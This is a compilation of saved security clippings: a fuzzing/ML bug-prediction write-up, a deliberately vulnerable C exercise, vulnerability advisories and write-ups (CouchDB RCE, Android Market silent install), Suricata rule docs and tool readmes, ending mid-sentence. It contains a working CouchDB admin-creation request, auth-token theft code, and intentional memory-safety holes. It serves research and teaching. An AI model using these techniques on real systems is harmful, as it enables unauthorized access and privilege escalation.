    # apt-get install zzuf poppler-utils vorbis-tools imagemagick graphviz ...
[/code]

## Discovering bugs automatically¶

To discover interesting bugs, first we need to define where are the executable
files to analyze. For instance, we can grab binaries to fuzz from the usual
directories:

[code]

    /usr/bin/
    /usr/sbin/
    
    
[/code]

Also, we need a procedure to extract command-line testcases. Later, using a
suitable input file, a random mutation can uncover buggy behaviors. The
objective of such procedure is to collect a large amount of testcases to train
VDiscover. Therefore we need an end-to-end fully automatic approach. We
utilized several tools and resources:

  1. **manfuzzer**
To obtain random command-lines to execute programs we used manfuzzer. This
python script produces and executes command-line for fuzzing based on the
flags found by running _-h_ , _-H_ , _\--help_ and the man page of a program.
Our fork of manfuzzer was created to allow the generation of command-line
testcases using an input file. After selecting a candidate testcase, it will
automatically check if the program tries to interact with the input file,
otherwise, it discards the command-line testcase.

  2. **input files to mutate**
After we selected a large number of testcases, we want to mutate different
types of input files in order to uncover interesting bugs. Finding a large
variety of files to mutate can be a challenging task but fortunately the
fuzzing project provides a basic but nice collection of them.

  3. **zzuf** :
At the last step of this procedure, we used zzuf, a popular multi-purpose
fuzzer to detect crashes, aborts and other interesting unexpected behavior.
Since the fuzzing campaigns produced by zzuf are based on random mutations, it
can require thousands of tries to uncover an interesting bug. Therefore, in
order to obtain noticeable results we will fuzz up to 100,000 times every
testcase mutating between 1% and 50% of the input files. If zzuf detects a
crash, an abort, a timeout or runs out of memory, the testcase is flagged as
**buggy** and the fuzzing is stopped.

Once we extract a large amount of testcases to fuzz, we need to actually run
this procedure to collect enough data to train and test VDiscover. In our
experiments, more than 64,000 of testcases were selected but unfortunately the
exploration of such a large amount of files will take weeks. Instead of that,
a sample of almost 3000 testcases was analyzed to train and test our tool.

After several days fuzzing millions of program executions, we collected and
analyzed a large number of testcases in our dataset containing the command-
lines executed and their outcomes after fuzzing the input files \(in order
words, if the testcase resulted buggy or robust\). The results of the fuzzing
campaings in terms of percentage of testcases found buggy or robust is
summarized here:

<img src='http://www.vdiscover.org/diagrams/eval_1.svg' />

Now we can start the training phase.

## Predicting interesting testcases before starting a fuzzing campaign¶

To obtain a prediction of every testcase, we extracted dynamic features using
the same procedure and parameters defined in the VDiscover technical report.
This feature extraction requires **only one execution** : the original
testcase, which is clearly faster than fuzz it 100,000 times. So, if we manage
to obtain a reasonable prediction using these features, the saved resources in
terms of execution time will be remarkable.

After extracting the features from the testcases, we are ready to start
learning from them and predict which ones we have to fuzz. To perform an
evaluation, it is extremely important to separate our dataset in two disjoint
subsets:

  * A set to train the predictor
  * A set to test the predictor

This is a standard procedure in Machine Learning to obtain a sensible measure
of the predictions accuracy. Nevertheless, there is a significant detail that
can lead to misleading results: there are several testcases for the same
program and usually zzuf can find a crash in more than one of them. Then
VDiscover will learn to find more bugs just picking the testcases from the
same programs it saw during the training. Such strategy will give no new bugs
and it is clearly not what we want.

In order to test our predictor in a more **realistic** environment, we
carefully split the dataset in train and test keeping all the testcases of
every program either in the train or the test set. As a result of this
decision, every time we evaluate our predictions, we are analyzing previously
unknown binaries.

After running 20 independent experiments \(e.g. shuffling the training and
testing subsets\), the average recall scores are:

  * 92% detecting **robust** testcases
  * 42% detecting **buggy** testcases

As you can see from the results, VDiscover is quite effective detecting
testcases that uncover no bugs, but not so much with the interesting ones.
Despite such imbalance, our tool can be very useful to save our resources
discarding testcases that are probably robust to fuzzing.

In fact, we can estimate the reduction in the effort needed to discover new
buggy testcases. If we recall the percentage of testcases found buggy \(26%\)
and robust \(74%\), we can compute which is the percentage of all the
testcases our tool flags as potentially buggy to fuzz using a weighted
average:

26% \* 0.42 + 74% \* 0.08 = 10.92% + 5.92% = 16.84%

which we can visualize here:

<img src='http://www.vdiscover.org/diagrams/eval_2.svg' />

Consequently, by analyzing 16.84% of our test set pointed by VDiscover we can
detect 42% of the buggy testcases. As expected, without the help of our tool,
a fuzzing campaign will randomly select testcases to mutate. It will need to
analyze 42% of the programs to detect 42% of the buggy testcases. Therefore,
in terms of our experimental results, we can detect the same amount of buggy
testcases 249% faster \($\approx$ 42%/16.84%\).

Finally, we can see a particular example of how VDiscover predicts. In this
simple experiment, we only selected the wget testcases for testing while the
rest of the dataset is used to train. It is interesting to note that there is
no similar program to wget in the train set. We summaries the results in the
following table:

          testcase| predicted| expected  
---|---|---  
/usr/bin/wget:21598| 1| 1  
/usr/bin/wget:21558| 1| 1  
/usr/bin/wget:21600| 1| 1  
/usr/bin/wget:21288| 0| 0  
**/usr/bin/wget:21329**| **1**| **0**  
/usr/bin/wget:21442| 1| 1  
/usr/bin/wget:21295| 0| 0  
/usr/bin/wget:21512| 1| 1  
/usr/bin/wget:21515| 1| 1  
/usr/bin/wget:21552| 1| 1  
/usr/bin/wget:21584| 1| 1  
As you can see, VDiscover misclassifies only one testcase. Anyone interested
in this dataset can download the trained model \(created using the complete
dataset\) from here.

## Interesting bugs \(re\)discovered during these experiments

  * A format string vulnerability in graphviz, very similar to CVE-2014-9157 \[reported\]
  * An out-of-bound read using invalid UNICODE strings in libidn \(affecting wget at least\)
  * Some crashes in oggenc
  * A few more i need to report \(but nothing serious\)

# VRT: Bamboo -> angel tongue

**Created:**| _9/25/2009 10:56:56 AM_  
---|---  
**Updated:**| _9/25/2009 10:57:06 AM_  
**Author:**| __  
**Tags:**| _Exploit programming_  
  

### Bamboo -> angel tongue

Here's a quickie exploitable linux program from our Fundamentals of
Exploitation class. How many vulns can you find and exploit?  

[code]

      
    #include <stdio.h>  
      
    struct newClass {  
            char    type;  
            int     size;  
            char    *data;  
            void (*printer)(char*);  
    };  
      
    void painter(char *input) {  
            char buf[4096];  
      
            memcpy(buf, input, sizeof(buf)<strlen(input)?sizeof(buf):strlen(input));  
            return;  
    }  
      
    void initStruct(char *input) {  
            struct newClass myClass;  
      
            myClass.type =  *((char *)(input));  
            myClass.size =  *((int *)(input+1));  
            myClass.data = ((char *)(input+5));  
      
            if (myClass.type == 1)  
                    myClass.printer = (void *)printf;  
            if (myClass.type == 2)  
                    myClass.printer = (void *)putchar;  
            if (myClass.type == 3)  
                    myClass.printer = (void *)puts;  
            if (myClass.type > 3)  
                    exit(1);  
      
            myClass.printer(myClass.data);  
    }  
      
    int main(int argc, char **argv) {  
            if (argc < 2)  
                    exit(1);  
            painter(argv[2]);  
            initStruct(argv[1]);  
      
            return (0);  
    }
[/code]

# com\_apple\_AVEBridge::submitData NULL Pointer Dereference

**Created:**| _3/7/2018 8:46:21 AM_  
---|---  
**Updated:**| _3/7/2018 8:46:37 AM_  
**Author:**| _wishi_  
**Tags:**| _Mac-hacking_  
  

  

Product | Apple macOS 10.13.1  
---|---  
Severity | Low  
CVE Reference | CVE-2017-13858  
Type | Memory Corruption  
# Description

A NULL pointer dereference issue was identified within the
‘com.apple.AVEBridge’ IOKit kernel extension driver.

# Impact

On systems without SMAP/SMEP it is expected this could be used to achieve
kernel code execution. However, on modern systems with these protections, this
issue is limited to a denial of service.

# Cause

The com\_apple\_AVEBridge::submitData function was found to perform
insufficient input validation.

# Interim Workaround

N/A

# Solution

Users should apply the released security update from Apple
\(https://support.apple.com/en-gb/HT208331\).

# Technical details

Please refer to the attached advisory.

# Disclosure Timeline

Date | Summary  
---|---  
2017-09-25 | Issue reported to vendor  
2017-12-06 | Vendor issues patch  
2018-01-19 | MWR Labs releases advisory   
  
  
  

# sirg3/Sniffer - GitHub

**Created:**| _6/9/2011 6:44:36 PM_  
---|---  
**Updated:**| _6/9/2011 6:44:46 PM_  
**Author:**| __  
**Tags:**| _network-security Mac-hacking_  
  
An application-based packet sniffer for Mac OS X — Read more

# Suricata - Flowint - Open Information Security Foundation

**Created:**| _3/18/2011 5:09:37 PM_  
---|---  
**Updated:**| _3/18/2011 5:09:37 PM_  
**Author:**| __  
**Tags:**| _iDS/iPS programming_  
  

# Flowint¶

Flowint is a precursor to the Global Variables task we will be adding to the
engine very soon, which will allow the capture, storage and comparison of data
in a variable. It will be as the name implies Global. So you can compare data
from packets in unrelated streams. The expected delivery date of this feature
is February 2010.

Flowint allows storage and mathematical operations using variables. It
operates much like flowbits but with the addition of mathematical capabilities
and the fact that an integer can be stored and manipulated, not just a flag
set. We can use this for a number of very useful things, such as counting
occurrences, adding or subtracting occurrences, or doing thresholding within a
stream in relation to multiple factors. This will be expanded to a global
context very soon so users can perform these operations between streams.

The syntax is as follows:

flowint: , ;

Define a var \(not required\), or check that one is set or not set.

flowint: , , ;

flowint: , < +,-,=,>,<,>=,<=,==, \!= >, ;

Compare or alter a var. Add, subtract, compare greater than or less than,
greater than or equal to, and less than or equal to are available. The item to
compare with can be an integer or another variable.

* * *
For example, let’s say we want to count how many times a username is seen in a
particular stream and alert if it's over 5.

alert tcp any any -> any any \(msg:"Counting Usernames"; content:"jonkman"; \  
flowint: usernamecount, +, 1; flowint:noalert;\)

This will count each occurrence and increment the var usernamecount and not
generate an alert for each.

Now say we want to generate an alert if there are more than five hits in the
stream.

alert tcp any any -> any any \(msg:"More than Five Usernames\!";
content:"jonkman"; \  
flowint: usernamecount, +, 1; flowint:usernamecount, >, 5;\)

So we'll get an alert ONLY if usernamecount is over five.

So now let’s say we want to get an alert as above but NOT if there have been
more occurences of that username logging out. Assuming this particular
protocol indicates a log out with "jonkman logout", let’s try:

alert tcp any any -> any any \(msg:"Username Logged out"; content:"logout
jonkman"; \  
flowint: usernamecount, -, 1; flowint:usernamecount, >, 5;\)

So now we'll get an alert ONLY if there are more than five active logins for
this particular username.

This is a rather simplistic example, but I believe it shows the power of what
such a simple function can do for rule writing. I see a lot of applications in
things like login tracking, IRC state machines, malware tracking, and brute
force login detection.

Let’s say we're tracking a protocol that normally allows five login fails per
connection, but we have vulnerability where an attacker can continue to login
after that five attempts and we need to know about it.

alert tcp any any -> any any \(msg:"Start a login count"; content:"login
failed"; \  
flowint:loginfail, notset; flowint:loginfail, =, 1; flowint:noalert;\)

So we detect the initial fail if the variable is not yet set and set it to 1
if so. Our first hit.

alert tcp any any -> any any \(msg:"Counting Logins"; content:"login failed";
\  
flowint:loginfail, isset; flowint:loginfail, +, 1; flowint:noalert;\)

We are now incrementing the counter if it's set.

alert tcp any any -> any any \(msg:"More than Five login fails in a Stream";
content:"login failed"; \  
flowint:loginfail, isset; flowint:loginfail, >, 5;\)

Now we'll generate an alert if we cross five login fails in the same stream.

But let's also say we also need alert if there are two successful logins and a
failed login after that.

alert tcp any any -> any any \(msg:"Counting Good Logins"; content:"login
successful"; \  
flowint:loginsuccess, +, 1; flowint:noalert;\)

Here we're counting good logins, so now we'll count good logins relevant to
fails:

alert tcp any any -> any any \(msg:"Login fail after two successes";
content:"login failed"; \  
flowint:loginsuccess, isset; flowint:loginsuccess, =, 2;\)

Here are some other general examples:

alert tcp any any -> any any \(msg:"Setting a flowint counter"; content:"GET";
\  
flowint:myvar, notset; flowint:maxvar,notset; flowint:myvar,=,1; flowint:
maxvar,=,6;\)

alert tcp any any -> any any \(msg:"Adding to flowint counter";
content:"Unauthorized"; \  
flowint:myvar,isset; flowint: myvar,+,2;\)

alert tcp any any -> any any \(msg:"if the flowint counter is 3 create a new
counter"; content:"Unauthorized"; \  
flowint:myvar, isset; flowint:myvar,==,3; flowint:cntpackets,notset;
flowint:cntpackets, =, 0;\)

alert tcp any any -> any any \(msg:"and count the rest of the packets received
without generating alerts\!\!\!"; \  
flowint:cntpackets,isset; flowint:cntpackets, +, 1; flowint:noalert;\)

alert tcp any any -> any any \(msg:" and fire this when it reach 6"; flowint:
cntpackets, isset; \  
flowint: maxvar,isset; flowint: cntpackets, ==, maxvar;\)

# Remote Code Execution in CouchDB

**Created:**| _11/23/2017 9:36:56 AM_  
---|---  
**Updated:**| _11/23/2017 9:36:56 AM_  
**Author:**| _wishi_  
**Tags:**| __  
  

  

# Remote Code Execution in CouchDB

Nov 14, 2017

tl;dr There was a vulnerability in CouchDB caused by a discrepancy between the
database’s native JSON parser and the Javascript JSON parser used during
document validation. Because CouchDB databases are meant to be exposed
directly to the internet, this enabled privilege escalation, and ultimately
remote code execution, on a large number of installations. ~~If it had been
exploited, this bug could have allowed for the modification of arbitrary
packages in thenpm registry.~~ _\[edit: I’m wrong, and the main npm registry
is unaffected. See correction below. My bad\!\]_ CVE-2017-12635

## Background

Last time, I wrote about a deserialization bug leading to code execution on
rubygems.org, a repository of dependencies for ruby programs. The ability to
inject malware into upstream project dependencies is a scary attack vector,
and one from which I doubt most organizations are adequately protected.

With this in mind, I started searching for bugs in registry.npmjs.org, the
server responsible for distributing npm packages. According to their homepage,
the npm registry serves more than 3 billion \(\!\) package downloads per week.

## CouchDB

The npm registry uses CouchDB, which I hadn’t heard of before this project.
The basic idea is that it’s a “NoSQL” database that makes data replication
very easy. It’s sort of like a big key-value store for JSON blobs
\(“documents”\), with features for data validation, querying, and user
authentication, making it closer to a full-fledged database. CouchDB is
written in Erlang, but allows users to specify document validation scripts in
Javascript. These scripts are automatically evaluated when a document is
created or updated. They start in a new process, and are passed JSON-
serialized documents from the Erlang side.

CouchDB manages user accounts through a special database called `_users`. When
you create or modify a user in a CouchDB database \(usually by doing a `PUT`
to `/_users/org.couchdb.user:your_username`\), the server checks your proposed
change with a Javascript `validate_doc_update` function to ensure that you’re
not, for example, attempting to make yourself an administrator.

## Vulnerability

The problem is that there is a discrepancy between the Javascript JSON parser
\(used in validation scripts\) and the one used internally by CouchDB, called
jiffy. Check out how each one deals with duplicate keys on an object like
`{"foo":"bar", "foo":"baz"}`:

Erlang:

[code]

    > jiffy:decode("{\"foo\":\"bar\", \"foo\":\"baz\"}"). 
    {[{<<"foo">>,<<"bar">>},{<<"foo">>,<<"baz">>}]}
[/code]

Javascript:

[code]

    > JSON.parse("{\"foo\":\"bar\", \"foo\": \"baz\"}")
    {foo: "baz"}
[/code]

For a given key, the Erlang parser will store both values, but the Javascript
parser will only store the last one. Unfortunately, the getter function for
CouchDB’s internal representation of the data will only return the _first_
value:

[code]

    % Within couch_util:get_value 
    lists:keysearch(Key, 1, List).
[/code]

And so, we can bypass all of the relevant input validation and create an admin
user thusly:

[code]

    curl -X PUT 'http://localhost:5984/_users/org.couchdb.user:oops'
    --data-binary '{
      "type": "user",
      "name": "oops",
      "roles": ["_admin"],
      "roles": [],
      "password": "password"
    }'
    
[/code]

In Erlang land, we’ll see ourselves as having the `_admin` role, while in
Javascript land we appear to have no special permissions. Fortunately for the
attacker, almost all of the important logic concerning authentication and
authorization, aside from the input validation script, occurs the Erlang part
of CouchDB.

Now that we have an administrator account, we have complete control of the
database. Getting a shell from here is usually easy since CouchDB lets you
define custom `query_server` languages through the admin interface, a feature
which is basically just a wrapper around `execv`. One funny feature of this
exploit is that it’s slightly tricky to detect through the web GUI; if you try
to examine the user we just created through the admin console, the `roles`
field will show up empty since it’s parsed in Javascript before being
displayed\!

## Impact on npm

I’ve been trying to figure out exactly how npm was affected by this bug. Since
I didn’t actually exploit the vulnerability against any of npm’s production
servers, I have to make educated guesses about which parts of the
infrastructure were vulnerable to which parts of the attack, based on publicly
available information.

~~I am almost certain thatregistry.npmjs.org was vulnerable to the privilege
escalation/admin account creation part of this attack, which would have
allowed an attacker to modify packages. This is because user creation on npm
is more or less identical to the vanilla CouchDB user creation flow. Then,
after authenticating as our newly created admin user, the user context passed
to subsequent validation scripts will have the `_admin` role visible, allowing
us to pass the `isAdmin` check in one of the registry’s validation docs. That
said, as far as I can tell from what’s on Github, their production server
doesn’t provide a route to the administrator’s configuration API, meaning I’m
not sure if the bug could have enabled RCE on that server.~~ _\[edit: It turns
out thatregistry.npmjs.org simply exposes an identical API to the CouchDB user
creation flow in order to maintain backwards compatibility with old clients.
It has been using a custom authentication system since early 2015, and is
therefore not vulnerable to my attack. The skim database mentioned below was
affected by the bug, however. I apologize for being completely wrong in the
initial version of this blog post\!\]_

Npm also exposes a “skim database” which _does_ look like it would have been
vulnerable to the RCE part of the attack, but it’s unclear to me how that
database is used in the infrastructure today. There’s a blog post from 2014
which indicates that all writes go to the skimdb, but I don’t know if this is
still true.

## Conclusion

It’s probably a bad idea to use more than one parser to process the same data.
If you have to, perhaps because your project uses multiple languages like in
CouchDB, do your best to ensure that there aren’t any functional differences
between the parsers like there were here. It’s unfortunate that the JSON
standard does not specify the behavior of duplicate keys.

Thanks to the CouchDB team for having a published security@ email address and
working quickly to get this fixed.

## Shameless plug

If you’re interested in ditching \#birdsite and want to use a social network
that actually respects your freedoms, you should consider joining Mastodon\!
It’s a federated social network, meaning that it works in a distributed way
sort of like email. Join us over in the fediverse and help us build a friendly
security community\!

  

# pybind/pybind11

**Created:**| _9/4/2017 9:20:18 AM_  
---|---  
**Updated:**| _9/4/2017 9:20:18 AM_  
**Author:**| _wishi_  
**Tags:**| __  
  

  

<img src='img/pybind11-logo.png' width='888' height='264' alt='pybind11 logo'
/>

# pybind11 — Seamless operability between C++11 and Python

<img
src='img/68747470733a2f2f72656164746865646f63732e6f72672f70726f6a656374732f707962696e6431312f62616467652f3f76657273696f6e3d737461626c65'
width='86' height='20' alt='Documentation Status' /> <img
src='img/68747470733a2f2f72656164746865646f63732e6f72672f70726f6a656374732f707962696e6431312f62616467652f3f76657273696f6e3d737461626c65'
width='86' height='20' alt='Documentation Status' /> <img
src='img/68747470733a2f2f696d672e736869656c64732e696f2f6769747465722f726f6f6d2f67697474657248512f6769747465722e737667'
width='102' height='20' alt='Gitter chat' /> <img
src='img/68747470733a2f2f7472617669732d63692e6f72672f707962696e642f707962696e6431312e7376673f6272616e63683d6d6173746572'
width='90' height='20' alt='Build Status' /> <img
src='img/68747470733a2f2f63692e6170707665796f722e636f6d2f6170692f70726f6a656374732f7374617475732f7269616a3534706e34683038787934303f7376673d74727565'
width='106' height='20' alt='Build status' />

**pybind11** is a lightweight header-only library that exposes C++ types in
Python and vice versa, mainly to create Python bindings of existing C++ code.
Its goals and syntax are similar to the excellent Boost.Python library by
David Abrahams: to minimize boilerplate code in traditional extension modules
by inferring type information using compile-time introspection.

The main issue with Boost.Python—and the reason for creating such a similar
project—is Boost. Boost is an enormously large and complex suite of utility
libraries that works with almost every C++ compiler in existence. This
compatibility has its cost: arcane template tricks and workarounds are
necessary to support the oldest and buggiest of compiler specimens. Now that
C++11-compatible compilers are widely available, this heavy machinery has
become an excessively large and unnecessary dependency.

Think of this library as a tiny self-contained version of Boost.Python with
everything stripped away that isn't relevant for binding generation. Without
comments, the core header files only require ~4K lines of code and depend on
Python \(2.7 or 3.x, or PyPy2.7 >= 5.7\) and the C++ standard library. This
compact implementation was possible thanks to some of the new C++11 language
features \(specifically: tuples, lambda functions and variadic templates\).
Since its creation, this library has grown beyond Boost.Python in many ways,
leading to dramatically simpler binding code in many common situations.

Tutorial and reference documentation is provided at
http://pybind11.readthedocs.org/en/master. A PDF version of the manual is
available here.

## Core features

pybind11 can map the following core C++ features to Python

  * Functions accepting and returning custom data structures per value, reference, or pointer
  * Instance methods and static methods
  * Overloaded functions
  * Instance attributes and static attributes
  * Arbitrary exception types
  * Enumerations
  * Callbacks
  * Iterators and ranges
  * Custom operators
  * Single and multiple inheritance
  * STL data structures
  * Iterators and ranges
  * Smart pointers with reference counting like ` std::shared_ptr `
  * Internal references with correct reference counting
  * C++ classes with virtual \(and pure virtual\) methods can be extended in Python

## Goodies

In addition to the core functionality, pybind11 provides some extra goodies:

  * Python 2.7, 3.x, and PyPy \(PyPy2.7 >= 5.7\) are supported with an implementation-agnostic interface.
  * It is possible to bind C++11 lambda functions with captured variables. The lambda capture data is stored inside the resulting Python function object.
  * pybind11 uses C++11 move constructors and move assignment operators whenever possible to efficiently transfer custom data types.
  * It's easy to expose the internal storage of custom data types through Pythons' buffer protocols. This is handy e.g. for fast conversion between C++ matrix classes like Eigen and NumPy without expensive copy operations.
  * pybind11 can automatically vectorize functions so that they are transparently applied to all entries of one or more NumPy array arguments.
  * Python's slice-based access and assignment operations can be supported with just a few lines of code.
  * Everything is contained in just a few header files; there is no need to link against any additional libraries.
  * Binaries are generally smaller by a factor of at least 2 compared to equivalent bindings generated by Boost.Python. A recent pybind11 conversion of PyRosetta, an enormous Boost.Python binding project, reported a binary size reduction of **5.4x** and compile time reduction by **5.8x**.
  * When supported by the compiler, two new C++14 features \(relaxed constexpr and return value deduction\) are used to precompute function signatures at compile time, leading to smaller binaries.
  * With little extra effort, C++ types can be pickled and unpickled similar to regular Python objects.

## Supported compilers

  1. Clang/LLVM 3.3 or newer \(for Apple Xcode's clang, this is 5.0.0 or newer\)
  2. GCC 4.8 or newer
  3. Microsoft Visual Studio 2015 Update 3 or newer
  4. Intel C++ compiler 16 or newer \(15 with a workaround\)
  5. Cygwin/GCC \(tested on 2.5.1\)

## About

This project was created by Wenzel Jakob. Significant features and/or
improvements to the code were contributed by Jonas Adler, Sylvain Corlay,
Trent Houliston, Axel Huebl, @hulucc, Sergey Lyskov Johan Mabille, Tomasz
Miąsko, Dean Moldovan, Ben Pritchard, Jason Rhinelander, Boris Schäling, Pim
Schellart, Ivan Smirnov, and Patrick Stewart.

### License

pybind11 is provided under a BSD-style license that can be found in the `
LICENSE ` file. By using, distributing, or contributing to this project, you
agree to the terms and conditions of this license.

  

# GNS3 |

**Created:**| _5/17/2009 8:33:13 PM_  
---|---  
**Updated:**| _5/17/2009 8:33:29 PM_  
**Author:**| __  
**Tags:**| _security tools cisco network-security_  
  

### What is GNS3 ?

GNS3 is a graphical network simulator that allows simulation of complex
networks.

To allow complete simulations, GNS3 is strongly linked with :

  * Dynamips, the core program that allows Cisco IOS emulation.
  * Dynagen, a text-based front-end for Dynamips.
  * Pemu, a Cisco PIX firewall emulator based on Qemu.

GNS3 is an excellent complementary tool to real labs for Cisco network
engineers, administrators and people wanting to pass certifications such as
CCNA, CCNP, CCIP or CCIE.

It can also be used to experiment features of Cisco IOS or to check
configurations that need to be deployed later on real routers.

This project is an open source, free program that may be used on multiple
operating systems, including Windows, Linux, and MacOS X.

### Features overview

  * Design of high quality and complex network topologies.
  * Emulation of many Cisco router platforms and PIX firewalls.
  * Simulation of simple Ethernet, ATM and Frame Relay switches.
  * Connection of the simulated network to the real world\!
  * Packet capture using Wireshark.

Important notice: users have to provide their own Cisco IOS to use with GNS3.  

# Offensive Security Training presents - The Exploit Database

**Created:**| _11/16/2009 8:33:34 PM_  
---|---  
**Updated:**| _11/16/2009 8:33:40 PM_  
**Author:**| __  
**Tags:**| _bookmark_  
  
16th Nov 2009:  

The ultimate archive of exploits and vulnerable software and a great resource
for vulnerability researchers and security addicts alike. Our aim is to
collect exploits from submittals and various mailing lists and concentrate
them in one, easy to navigate database. When possible, we've added the
vulnerable software for download. We are still in the process of organizing
the database. You can Download the relevant exploit by clicking the "**D** "
and when available, download the Vulnerable Application using the "**A** "
link.".

# The Duo Bulletin

**Created:**| _5/25/2011 3:28:36 PM_  
---|---  
**Updated:**| _5/25/2011 3:28:52 PM_  
**Author:**| __  
**Tags:**| _attacks Google android_  
  

## When Angry Birds attack: Android edition

Posted 5 hours ago by Jon · Comments

It’s been about six months since I reported a vulnerability in the Android
mobile platform that allowed the unprompted installation of arbitrary
applications with arbitrary permissions on a victim’s device. While the
vulnerability has long been fixed on Android handsets around the world, I’ve
yet to write up any technical details about it, and it’s unlikely you’ve heard
of it unless you were present at our ShmooCon presentation earlier this year.
So without further ado, let’s dive into “When Angry Birds attack: Android
edition.”

<img src='img/Temp2_7986.jpg' width='580' height='320' />

### Deciphering the Android Market

If you’ve followed my Android security research, you’ll know that I’m a big
fan of poking around in the Android Market routines. After all, if you’re
looking to gain code execution on a mobile device, it certainly makes a lot of
sense to target the mechanism used to deliver, install, and execute new code.

In my SummerCon presentation last year, I first delved into the GTalkService
mechanism that the Android platform uses to install and remove apps from a
user’s mobile device. Ironically \(or maybe appropriately\), that presentation
also covered a simple proof-of-concept app called RootStrap which subsequently
became the first app to be remote-killed/wiped by Google from users’ devices
using the very GTalkService mechanism I was presenting on.

If you haven’t yet read up on the GTalkService, I recommend giving the
background material a quick read:

> In short, the GTalkService is a persistent connection maintained from your
> Android phone to Google’s servers at all time. It allows Google to push down
> messages to your phone in order to perform particular actions. For example,
> when you click to install an app through the Android Market, Google pushes
> down an INSTALL\_ASSET to your phone which causes it to fetch and install
> that application. When Google wants to remote kill an application from your
> phone, it pushes down a REMOVE\_ASSET message to your phone which causes it
> to remove the particular application.
So, from a user’s perspective, installing a new application seems like a
pretty simple process:

  1. Launch the Android Market app
  2. Browse/search for an application to install
  3. Click to install the application
  4. Approve any necessary permissions
  5. App is downloaded and installed

The user would usually see a sequence of screens in the Market application
followed by a notification in the status bar that the application is being
downloaded and installed:

<img src='img/Temp2_7985.jpg' width='600' height='243' />

However, under the covers, there is a lot more going on. Steps 1-4 above all
happen within the context of the Market application, but the 5th step is
handled by a completely different component of the Android platform: the
GTalkService.

So what exactly happens between the 4th and 5th step? A bit of magic that
looks like the following:

<img src='img/Temp2_7983.jpg' width='599' height='225' />

As the above diagram shows, the actual app install process breaks down further
behind the scenes:

  1. The user clicks the final install/approve button the Market app
  2. The Market app POSTs an install request to the Android Market servers
  3. The Market servers signal the C2DM service about the install request
  4. The C2DM servers send an INSTALL\_ASSET message through the GTalkService connection
  5. The GTalkService component on the Android device receives the INSTALL\_ASSET and invokes Vending
  6. The Vending component fetches the APK and installs the application

So while the user gives their approval within the Market app to install a new
application, the actual download and install of the target APK occurs within
the context of the Vending code.

### Chatting with the Market Servers

So whatever, the Android app installation process is a bit round-about, but
how is bad from a security perspective?

One of the things that raised a red flag in my mind was this disconnect in
responsibility between the Android Market app and the GTalkService/Vending
routines. The users give their approval to install the app from within the
Market app, but everything else is handled automatically by the Vending code
via the INSTALL\_ASSET mechanism. Therefore, if we could spoof an
INSTALL\_ASSET message, we could potentially install applications with
arbitrary permissions without the user’s approval.

While we might not be able to spoof an INSTALL\_ASSET message down the
GTalkService pipe without owning Google’s infrastructure, maybe we can trick
Google’s servers into initiating an INSTALL\_ASSET on our behalf\! After all,
if the legitimate Market app is able to POST an install request to the Market
servers and trigger an INSTALL\_ASSET, why can’t an illegitimate app make the
same request? <img src='img/Temp2_7988.jpg' alt=':-)' />

Let’s take a look at what exactly the Market app POSTs to the Market servers
during an install request:

[code]

    POST /market/api/ApiRequest HTTP/1.1
    Content-Length: 524
    Content-Type: application/x-www-form-urlencoded
    Host: android.clients.google.com
    Connection: Keep-Alive
    User-Agent: Android-Market/2 (dream DRC83); gzip
    version=2&request=CuACCvYBRFFBQUFLOEFBQUJvZWVEVGo4eGV4OVRJaW9 . . .
    
[/code]

Bleh, that request parameter just contains a big ugly blob of a payload.
Google sure loves to use protobuf and it turns out that the payload blob is a
base64-encoded protobuf structure. The raw protobuf for that request payload
looks like:

[code]

    1 {
        1: "DQAAAK8AAABoeeDTj8xex9TIio . . ."
        2: 0
        3: 1668
        4: "f2f15ccd17fb305"
        5: "dream:4"
        6: "en"
        7: "US"
        8: "Android"
        9: "Android"
        10: "310260"
        11: "310260"
        12 {
            12: 0x656c676f6f672d6d
        }
        13: "-606db3000d480d63"
    }
    2 {
        10 {
            1: "353999319718585473"
        }
    }
    
[/code]

The downside of protobuf is that if you don’t have the original schema, it
makes it quite difficult to infer what the various fields are for. In this
dump, there appears to be some device identifiers, locale information,
platform/version fields, etc. If you’ve played around with Google services
before, you’ll also recognize the first field as an auth token from the
ClientLogin service. Fortunately, some of these protobuf fields have been
reverse engineered already and are available in the android-market-api
project. Unfortunately, this install request protobuf spec had not yet been
reverse engineered.

_< < cue montage of several hours of exciting reverse engineering of
vending.apk >>_

After some RE of the market/vending code, I was able to infer what the unknown
fields were used for. The annonated protobuf spec looks something like the
following:

[code]

    message UnknownThing {
        optional fixed64 mgoogle = 12;
    }
    message InstallRequest {
        optional string appId = 1;
    }
    message RequestContext {
        required string authToken = 1;
        required int32 unknown1 = 2;
        required int32 version = 3;
        required string androidId = 4;
        optional string deviceAndSdkVersion = 5;
        optional string userLanguage = 6;
        optional string userCountry = 7;
        optional string operatorAlpha = 8;
        optional string simOperatorAlpha = 9;
        optional string operatorNumeric = 10;
        optional string simOperatorNumeric = 11;
        optional UnknownThing unknown12 = 12;
        optional string unknown13 = 13;
    }
    message Request {
        optional RequestContext context = 1;
        repeated group RequestGroup = 2 {
            optional InstallRequest installRequest = 10;
        }
    }
    
[/code]

The values of most of these fields in the install request message are known or
can be queried from the Android device itself, but the important fields worth
noting are “appId” and “authToken”:

  * appId is the unique id used to identify an application when it is posted to the Android Market. So in the above example, the user is requesting to download the application with an appId of “353999319718585473″. If you post an app to the Market, you can easily find out its assigned appId by sniffing market traffic and extracting the id from the protobuf requests.
  * authToken is the ClientLogin token \(with the service name “android”\) that enables Google’s Market servers to authenticate your install request. If it wasn’t for this authToken, we’d be in a lot of trouble since anyone would be able to spoof install requests and trick Google into pushing apps onto your device.

So all is fine and dandy…if the authToken is kept secret, we have nothing to
worry about, right? Enter stage left: the Android AccountManager\!

AccountManager is a legitimate component of the Android platform that provides
some credential management. For example, if you have an app that wants to post
a tweet on your behalf, the app doesn’t need to access your actual Twitter
username and password, but can instead request a token from AccountManager
that will allow it to post a tweet. As it turns out, the authToken used to
communicate with the Market servers is also stored in the AccountManager and
can be requested by any app on your phone with just a few lines of code:

[code]

    AccountManager accountManager = AccountManager.get(getApplicationContext());
    Account acct = getAccount(accountManager);
    accountManager.getAuthToken(acct, "android", false, new GetAuthTokenCallback(), null);
    
[/code]

Success, we now have access to the authToken\! If we fill in the rest of the
fields in that protobuf spec, we could potentially construct a valid install
request and POST it to the Market servers, triggering Google to push down a
INSTALL\_ASSET message to the device, and install any application we desire.
And, since the permissions approval happens before this request is sent to the
Market servers, we could install an application with any and all permissions
without any prompt being presented to the user.

### When Angry Birds Attack

So how do Angry Birds tie in to this? To demonstrate this vulnerability, I
posted a proof-of-concept app to the Android Market that was able to construct
